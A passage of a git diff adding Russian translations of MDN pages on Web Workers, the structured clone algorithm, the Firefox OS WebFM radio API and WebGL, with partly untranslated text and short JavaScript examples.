+<p><span id="result_box" lang="ru"><span>Вы можете запустить любой код, который вам нравится внутри потока воркера, за некоторыми исключениями.</span> <span>Например, вы не можете напрямую манипулировать DOM внутри воркера или использовать некоторые методы и свойства по умолчанию</span></span> объекта {{domxref("window")}}. <span id="result_box" lang="ru"><span>Но вы можете использовать большое количество свойств и методов, доступных в</span></span> <code>window</code>, включая <a href="/en-US/docs/WebSockets">WebSockets</a>, и механизм хранения данных такой, как <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> или <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API,</a> который доступен только в ОС Firefox. За дополнительной информацией смотрите <a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Функции и классы доступные воркерам.</a></p>
+
+<p><span id="result_box" lang="ru"><span>Данные отправляются между потоком воркера и основным потоком через систему сообщений - обе стороны отправляют свои сообщения с помощью метода <code>postMessage ()</code> и отвечают на сообщения через обработчик события <code>onmessage</code> (сообщение содержится в атрибуте данных события </span></span> {{event("Message")}}. Данные копируются, а не используются совместно.</p>
+
+<p>Воркеры<span id="result_box" lang="ru"><span> могут, в свою очередь, создавать новых воркеров, в этом случае они должны иметь одно и то же происхождение - родительскую страницу.</span> <span>Кроме того, воркеры могут использовать </span></span><a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a><span lang="ru"><span> для сетевого ввода-вывода, за исключением того, что атрибуты <code>responseXML</code> и <code>channel </code>на XMLHttpRequest всегда возвращают значение <code>null</code>.</span></span></p>
+
+<p><span id="result_box" lang="ru"><span>В дополнение к специализированным существуют и другие виды воркеров:</span></span></p>
+
+<ul>
+ <li>Совместные воркеры<span id="result_box" lang="ru"><span> - это воркеры, которые могут использоваться несколькими скриптами совместно, работающими в разных окнах, IFrames и т.д. в пределах одного домена, что и воркер.</span> <span>Они немного сложнее, чем специализированные воркеры - скрипты должны связываться через активный порт.</span> <span>Подробнее см. {{domxref("SharedWorker")}}.</span></span></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> <span id="result_box" lang="ru"><span>по сути действуют как прокси-серверы, которые находятся между веб-приложениями, а также браузером и сетью (если доступны).</span> Помимо прочего о<span>ни предназначены для создания эффективного автономного взаимодействия, перехвата сетевых запросов и принятия соответствующих мер на основе доступности сети и обновления данных на сервере.</span> <span>Они также позволят доступ к push-уведомлениям и API-интерфейсам фоновой синхронизации.</span></span></li>
+ <li>Воркеры в Chrome - это воркеры специального типа Firefox<span id="result_box" lang="ru"><span>, которые вы можете использовать, если вы разрабатываете надстройки и хотите использовать воркеры в расширениях и иметь доступ к js-ctypes в вашем воркере</span></span>. Смотрите также {{domxref("ChromeWorker")}}. </li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a>(аудио воркеры) <span id="result_box" lang="ru"><span>обеспечивают возможность прямой обработки аудиозаписей в рамках веб-контекста воркера.</span></span></li>
+</ul>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Замечание</strong></span>: В соответствии с <a href="https://html.spec.whatwg.org/multipage/workers.html#runtime-script-errors-2">Web workers Spec</a>, события ошибок воркеров не должны "всплывать" (смотрите  {{bug(1188141)}}. Такое поведение было реализовано в Firefox 42.</p>
+</div>
+
+<h2 id="Интерфейсы_Web_воркера">Интерфейсы Web воркера</h2>
+
+<dl>
+ <dt>{{domxref("AbstractWorker")}}</dt>
+ <dd>Абстрактные свойства и методы общие для всех типов воркеров (т.е. {{domxref("Worker")}} или {{domxref("SharedWorker")}}).</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd><span id="result_box" lang="ru"><span>Представляет поток исполнения воркера, позволяющий передавать сообщения текущему коду воркера.</span></span></dd>
+ <dt>{{domxref("SharedWorker")}}</dt>
+ <dd><span id="result_box" lang="ru"><span>Представляет конкретный вид воркера, к которому можно получить доступ из нескольких контекстов, будь то несколько окон, iframe или даже воркеров.</span></span></dd>
+ <dt>{{domxref("WorkerGlobalScope")}}</dt>
+ <dd>Represents the generic scope of any worker (doing the same job as {{domxref("Window")}} does for normal web content). Different types of worker have scope objects that inherit from this interface and add more specific features.</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope")}}</dt>
+ <dd>Represents the scope of a dedicated worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.</dd>
+ <dt>{{domxref("SharedWorkerGlobalScope")}}</dt>
+ <dd>Represents the scope of a shared worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.</dd>
+ <dt>{{domxref("WorkerNavigator")}}</dt>
+ <dd><span id="result_box" lang="ru"><span>Представляет идентификатор и состояние пользовательского агента (клиента)</span></span>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Мы создали пару простых демонстрационных программ чтобы показать основы использования:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">Базовый пример отдельного воркера</a> (<a href="http://mdn.github.io/simple-web-worker/">запускает отдельного воркера</a>).</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">Базовый пример разделяемого воркера</a> (<a href="http://mdn.github.io/simple-shared-worker/">запускает разделяемого воркера</a>).</li>
+</ul>
+
+<p>Больше информации о том, как работают эти демонстрационные программы, вы можете найти в статье <a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Использование Web воркеров</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#toc-workers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не отличается от {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers')}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Разделяемые воркеры</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Передача данных через использование структурного клонирования</td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Передача данных с использованием передаваемых объектов</td>
+   <td>17 {{property_prefix("webkit")}}<br>
+    21</td>
+   <td>{{CompatGeckoDesktop(18)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Глобальный {{domxref("window.URL", "URL")}}</td>
+   <td>10<sup>[1]</sup><br>
+    23</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.4</td>
+   <td>4</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>Разделяемые воркеры</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>29</td>
+   <td>1.4</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Передача данных через использование структурного клонирования</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Передача данных с использованием передаваемых объектов</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>18</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Как <code>webkitURL</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/basic_usage">Использование Web воркеров</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">Worker Interface</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker">Интерфейс SharedWorker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Функции и классы доступные воркерам</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Advanced_concepts_and_examples">Продвинутые конфепции и примеры</a></li>
+ <li><a href="/en-US/docs/Web/API/ChromeWorker">ChromeWorker</a>: для использования воркеров в привелегированном/chrome коде</li>
+</ul>
diff --git a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html
new file mode 100644
index 0000000000..883d5d3122
--- /dev/null
+++ b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html
@@ -0,0 +1,153 @@
+---
+title: Алгоритм структурированного клонирования
+slug: Web/API/Web_Workers_API/Structured_clone_algorithm
+translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
+---
+<p>Алгоритм структурированного клонирования — это новый алгоритм, <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">определенный спецификацией HTML5</a> для сериализации комплексных JavaScript объектов. Он более функционален, чем <a href="/en/JSON" title="en/JSON">JSON</a> в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.</p>
+
+<p>Аглоритм, по существу, перебирает все поля оригинального объекта, дублируя значения каждого поля в новый объект. Если поле представляет из себя объект с собственными полями, то эти дочерние поля также перебираются рекурсивно, пока каждое поле и все дочерние поля не будут продублированы в новый объект.</p>
+
+<h2 id="Преимущества_перед_JSON">Преимущества перед JSON</h2>
+
+<p>Вот основные преимущества структурированного клонирования перед JSON:</p>
+
+<ul>
+ <li>Структурированные клоны могут копировать <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp"><code>RegExp</code></a> объекты.</li>
+ <li>Структурированные клоны могут копировать {{ domxref("Blob") }}, {{ domxref("File") }}, и {{ domxref("FileList") }} объекты.</li>
+ <li>Структурированные клоны могут копировать {{ domxref("ImageData") }} объекты. The dimensions of the clone's {{ domxref("CanvasPixelArray") }} will match the original and have a duplicate of the same pixel data.</li>
+ <li>Structured clones can correctly duplicate objects containing cyclic graphs of references.</li>
+</ul>
+
+<h2 id="Исключения_не_работающие_со_структурированными_клонами">Исключения, не работающие со структурированными клонами</h2>
+
+<ul>
+ <li><a href="/en/JavaScript/Reference/Global_Objects/Error" title="en/JavaScript/Reference/Global Objects/Error"><code>Error</code></a> and <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global Objects/Function"><code>Function</code></a> objects cannot be duplicated by the structured clone algorithm; attempting to do so will throw a <code>DATA_CLONE_ERR</code> exception.</li>
+ <li>Attempting to clone DOM nodes will likewise throw a <code>DATA_CLONE_ERR</code> exception.</li>
+ <li>Certain parameters of objects are not preserved:
+  <ul>
+   <li>The <code>lastIndex</code> field of <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp"><code>RegExp</code></a> objects is not preserved.</li>
+   <li>Property descriptors, setters, and getters (as well as similar metadata-like features) are not duplicated. For example, if an object is marked read-only using a property descriptor, it will be read-write in the duplicate, since that's the default condition.</li>
+   <li>The prototype chain does not get walked and duplicated.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Поддерживаемые_типы">Поддерживаемые типы</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Object type</th>
+   <th scope="col">Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Data_structures#Primitive_values">All primitive types</a></td>
+   <td>However not symbols</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a> object</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>String object</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp">RegExp</a></td>
+   <td>The <code>lastIndex</code> field is not preserved.</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("Blob") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ domxref("File") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ domxref("FileList") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ArrayBuffer">ArrayBuffer</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ArrayBufferView">ArrayBufferView</a></td>
+   <td>This basically means all <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a> like Int32Array etc.</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("ImageData") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></td>
+   <td>This just includes plain objects (e.g. from object literals)</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Другой_вариант_вложенное_копирование‎">Другой вариант: вложенное копирование‎</h2>
+
+<p>Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи),  вы должны использовать другой подход. Ниже приведен возможный пример.</p>
+
+<pre class="brush: js">function clone(objectToBeCloned) {
+  // Basis.
+  if (!(objectToBeCloned instanceof Object)) {
+    return objectToBeCloned;
+  }
+
+  var objectClone;
+
+  // Filter out special objects.
+  var Constructor = objectToBeCloned.constructor;
+  switch (Constructor) {
+    // Implement other special objects here.
+    case RegExp:
+      objectClone = new Constructor(objectToBeCloned);
+      break;
+    case Date:
+      objectClone = new Constructor(objectToBeCloned.getTime());
+      break;
+    default:
+      objectClone = new Constructor();
+  }
+
+  // Clone each property.
+  for (var prop in objectToBeCloned) {
+    objectClone[prop] = clone(objectToBeCloned[prop]);
+  }
+
+  return objectClone;
+}
+</pre>
+
+<div class="note"><strong>  Note:</strong> Этот алгоритм  реализован  только для  <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><code>RegExp</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a>, и <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> специальных объектов. Вы можете реализовать другие условия, удовлетворяющие вашим потребностям.</div>
+
+<h2 id="Еще_по_теме">Еще по теме</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 Specification: Safe passing of structured data</a></li>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.postMessage()") }}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="/en-US/docs/Components.utils.cloneInto">Components.utils.cloneInto</a></li>
+</ul>
diff --git a/files/ru/web/api/webfm_api/index.html b/files/ru/web/api/webfm_api/index.html
new file mode 100644
index 0000000000..11727674af
--- /dev/null
+++ b/files/ru/web/api/webfm_api/index.html
@@ -0,0 +1,156 @@
+---
+title: WebFM API
+slug: Web/API/WebFM_API
+tags:
+  - WebFMAPI
+translation_of: Archive/B2G_OS/API/WebFM_API
+---
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('installed') }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The WebFM API provides access to the device FM radio. It allows turning the radio on/off and switching among radio stations. This API is available through the {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}} property which is a {{domxref("FMRadio")}} object.</p>
+
+<h2 id="Включение_и_выключение_радио">Включение и выключение радио</h2>
+
+<p>Для того чтобы включить радио используйте метод {{domxref("FMRadio.enable()")}}, для выключения {{domxref("FMRadio.disable()")}}.</p>
+
+<p>Перед включением радио следует проверить доступность антены, так как без нее встроенный радиомодуль не в состоянии поймать какую либо станцию. Информация о доступности антенны находится в свойстве {{domxref("FMRadio.antennaAvailable")}}. Как правило, в мобильных устройствах роль антены выполняют наушники (проводная гарнитура). Каждый раз когда пользователь подсоединяет или отсоединяет проводную гарнитуру WebFM API вызывает событие {{event("antennaavailablechange")}}.</p>
+
+<p>To turn the radio on it's necessary to provide a frequency to listen. That frequency (in MHz) is a number pass to the {{domxref("FMRadio.enable()")}} method.</p>
+
+<pre class="brush: js">// Частота радиостанции в MHz
+var frequency = 99.1;
+var radio = navigator.mozFMRadio;
+
+if (radio.antennaAvailable) {
+  radio.enable(frequency);
+} else {
+  alert("Вам необходимо подсоединить гарнитуру");
+}
+
+radio.addEventListener('antennaavailablechange', function () {
+  if (radio.antennaAvailable) {
+    radio.enable(frequency);
+  } else {
+    radio.disable();
+  }
+})
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> The audio is output through the <code>normal</code> audio channel available on the device.</p>
+</div>
+
+<h2 id="Switching_among_frequency">Switching among frequency</h2>
+
+<p>Switching from on frequency to another can be done manually or automatically. In any case, the current radio frequency listened to by the built-in radio is always available with the {{domxref("FMRadio.frequency")}} property. That property is number representing the frequency in <a href="http://en.wikipedia.org/wiki/Hertz" title="http://en.wikipedia.org/wiki/Hertz">MHz</a>.</p>
+
+<h3 id="Manual_switch">Manual switch</h3>
+
+<p>The {{domxref("FMRadio.setFrequency()")}} method must be used to set a new frequency to listen. However, there are some constraints about the value that can be set. The method will return a {{domxref("DOMRequest")}} object to handle the success or error of the method call. The frequency must fulfill the following requirements:</p>
+
+<ul>
+ <li>The frequency must be in the range defined by {{domxref("FMRadio.frequencyLowerBound")}} and {{domxref("FMRadio.frequencyUpperBound")}}. If the frequency is out of range, it will result in an error.</li>
+ <li>The frequency must be stepped based on the value of {{domxref("FMRadio.channelWidth")}}. If it's not the case, the frequency will be rounded accordingly. For example, if 100MHz is a valid frequency and if {{domxref("FMRadio.channelWidth","channelWidth")}} has the value 0.2, trying to set a frequency of 100.15 will result in a frequency set to 100.2.</li>
+</ul>
+
+<pre class="brush: js">var change = radio.setFrequency(frequency);
+
+change.onerror = function () {
+  var min = radio.frequencyLowerBound;
+  var max = radio.frequencyUpperBound;
+  console.warn('The frequency must be within the range [' + min + ',' + max + ']');
+}
+
+change.onsuccess = function () {
+  console.log('The frequency has been set to ' + radio.frequency);
+}
+</pre>
+
+<h3 id="Автоматический_поиск">Автоматический поиск</h3>
+
+<p>WebFM API предоставляет удобный способ автоматического поиска радиоканалов. Для восходящего поиска используйте метод {{domxref("FMRadio.seekUp()")}}, а для низходящего, метод {{domxref("FMRadio.seekDown()")}}.</p>
+
+<p>The WebFM API also provides a convinient way to seek radio channels automatically. To that end, we can use the {{domxref("FMRadio.seekUp()")}} (to find a radio channel on a higher frequency than the current one) and {{domxref("FMRadio.seekDown()")}} method. The former is used to find a radio channel with a higher frequency than the current one, and the latter for a radio channel with a lower frequency. Those methods return a {{domxref("DOMRequest")}} object to handle the success or error of each method call.</p>
+
+<p>Both methods will circle back to higher or lower frequency once they reach the {{domxref("FMRadio.frequencyLowerBound","frequencyLowerBound")}} or {{domxref("FMRadio.frequencyUpperBound","frequencyUpperBound")}} values. When they find a new radio channel, they change the current frequency and fire a {{event("frequencychange")}} event.</p>
+
+<p>It's not possible to seek twice at the same time (e.g. it's not possible to seek up and down at the same time), trying to do so, will result in an error. But if necessary it's possible to stop seeking by calling the {{domxref("FMRadio.cancelSeek()")}} method. This method will also return a {{domxref("DOMRequest")}} object.</p>
+
+<pre class="brush: js">var radio   = navigator.mozFMRadio;
+var seeking = false;
+var UP      = document.querySelector("button.up");
+var DOWN    = document.querySelector("button.down");
+
+// When the frequency change, the seek
+// functions automatically stop to seek.
+radio.onfrequencychange = function () {
+  seeking = false;
+}
+
+function seek(direction) {
+  var cancel, search;
+
+  // If the radio is already seeking
+  // we will cancel the current search.
+  if (seeking) {
+    var cancel = radio.cancelSeek();
+    cancel.onsuccess = function () {
+      seeking = false;
+
+      // Once the radio no longer seek,
+      // we can try to seek as expected
+      seek(direction);
+    }
+
+  // Let's seek up
+  } else if (direction === 'up') {
+    // Just to be sure that the radio is turned on
+    if (!radio.enabled) {
+      radio.enable(radio.frequencyLowerBound);
+    }
+    search = radio.seekUp();
+
+  // Let's seek up
+  } else if (direction === 'down' {
+    // Just to be sure that the radio is turned on
+    if (!radio.enabled) {
+      radio.enable(radio.frequencyUpperBound);
+    }
+    search = radio.seekDown();
+  }
+
+  if (search) {
+    search.onsuccess = function () {
+      // Ok, we are seeking now.
+      seeking = true;
+    };
+    search.onerror = function () {
+      // Something goes wrong... ok, let's try again.
+      seek(direction);
+    }
+  }
+}
+
+UP.addEventListener('click', function () {
+  seek('up');
+});
+
+DOWN.addEventListener('click', function () {
+  seek('down');
+});
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<p>Not part of any specification.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("FMRadio")}}</li>
+ <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm" title="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm">The FM app on Gaïa</a></li>
+</ul>
diff --git a/files/ru/web/api/webgl_api/index.html b/files/ru/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..6a35a2dda3
--- /dev/null
+++ b/files/ru/web/api/webgl_api/index.html
@@ -0,0 +1,106 @@
+---
+title: WebGL
+slug: Web/API/WebGL_API
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API
+---
+<div>{{WebGLSidebar}}</div>
+
+<p class="summary">WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трехмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трехмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах <a href="/en-US/docs/HTML/Canvas" title="en-US/docs/html/canvas"><code> canvas</code></a> HTML5 .</p>
+
+<p>Поддержка WebGL присутствует в <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ и <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+. Однако помимо поддержки WebGL браузером, необходима также его поддержка графическим процессором клиента.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Разработка">Разработка</h2>
+
+    <dl>
+     <dt><a href="/ru/docs/Web/WebGL/Getting_started_with_WebGL" title="en-US/docs/WebGL/Getting started with WebGL">Начало работы с WebGL</a></dt>
+     <dd>Как настроить контекст WebGL .</dd>
+     <dt><a href="/ru/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context" title="en-US/docs/WebGL/Adding 2D content to a WebGL context">Добавление 2D контента в контекст WebGL</a></dt>
+     <dd>Как отобразить простую плоскую фигуру с помощью WebGL.</dd>
+     <dt><a href="/ru/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL" title="en-US/docs/WebGL/Using shaders to apply color in WebGL">Использование шейдеров для назначения цвета в WebGL</a></dt>
+     <dd>Демонстрирует как добавить цвет фигурам, используя шейдеры.</dd>
+     <dt><a href="/ru/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL" title="en-US/docs/WebGL/Animating objects with WebGL">Анимация объектов с помощью WebGL</a></dt>
+     <dd>Показывает как повернуть и перемещать объекты для создания простой анимации.</dd>
+     <dt><a href="/en-US/docs/WebGL/Creating_3D_objects_using_WebGL" title="en-US/docs/WebGL/Creating 3D objects using WebGL">Создание 3D объектов с помощью WebGL</a></dt>
+     <dd>Показывает как создавать и анимировать 3D объект (в данном случае куб).</dd>
+     <dt><a href="/en-US/docs/WebGL/Using_textures_in_WebGL" title="en-US/docs/WebGL/Using textures in WebGL">Использование текстур в WebGL</a></dt>
+     <dd>Демонстрирует как разместить текстуры на гранях объекта.</dd>
+     <dt><a href="/en-US/docs/WebGL/Lighting_in_WebGL" title="en-US/docs/WebGL/Lighting in WebGL">Освещение в WebGL</a></dt>
+     <dd>Как имитировать эффекты освещения в контексте WebGL .</dd>
+     <dt><a href="/en-US/docs/WebGL/Animating_textures_in_WebGL" title="en-US/docs/WebGL/Animating textures in WebGL">Анимация текстур в WebGL</a></dt>
+     <dd>Показывает как анимировать текстуры; в данном случае путём размещения видео Ogg на гранях вращающегося куба.</dd>
+     <dt><a href="/en-US/docs/WebGL/WebGL_best_practices" title="en-US/docs/WebGL/WebGL best practices">WebGL: советы по применению на практике</a></dt>
+     <dd>Советы и предложения по улучшению контента, созданного вами при помощи WebGL.</dd>
+     <dt><a href="/en-US/docs/WebGL/Cross-Domain_Textures" title="en-US/docs/WebGL/Cross-Domain Textures">Текстуры с других доменов</a></dt>
+     <dd>Информация о загрузке текстур с других доменов, отличных от того, с которого загружается ваш контент.</dd>
+     <dt><a href="/en-US/docs/WebGL/Using_Extensions" title="en-US/docs/WebGL/Using_Extensions">Использование расширений</a></dt>
+     <dd>Как использовать расширения, доступные в WebGL.</dd>
+    </dl>
+   </td>
+   <td>
+    <h2 class="Related_Topics" id="Ресурсы">Ресурсы</h2>
+
+    <dl>
+     <dt><a class="link-https" href="https://www.khronos.org/registry/webgl/specs/1.0/" title="https://www.khronos.org/registry/webgl/specs/1.0/">Спецификация WebGL</a></dt>
+     <dd>Спецификация WebGL.</dd>
+     <dt><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Официальный сайт WebGL</a></dt>
+     <dd>Веб-сайт разработчиков WebGL - Khronos Group.</dd>
+     <dt><a class="external" href="http://learningwebgl.com/blog/" title="http://learningwebgl.com/blog/">Изучение WebGL</a></dt>
+     <dd>Веб-сайт с уроками, посвященными использованию WebGL.</dd>
+     <dt><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">Основы WebGL</a></dt>
+     <dd>Учебные материалы по основным возможностям WebGL.</dd>
+     <dt><a href="http://games.greggman.com/game/webgl-2d-matrices/">Матрицы в WebGL</a></dt>
+     <dd>Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трехмерной графике.</dd>
+     <dt><a class="external" href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/">Советы по использованию WebGL</a></dt>
+     <dd>Веб-сайт с советами по написанию кода на WebGL.</dd>
+     <dt><a class="external" href="http://code.google.com/p/ewgl-matrices/" title="http://code.google.com/p/ewgl-matrices/">ewgl-matrices</a></dt>
+     <dd>Библиотека для работы с матрицами для WebGL</dd>
+     <dt><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a></dt>
+     <dd>Библиотека для работы с матрицами и векторами, написанная на JavaScript, предназначенная для высокопроизводительных приложений на WebGL</dd>
+     <dt><a class="external" href="http://code.google.com/p/webgl-mjs/" title="http://code.google.com/p/webgl-mjs/">mjs</a></dt>
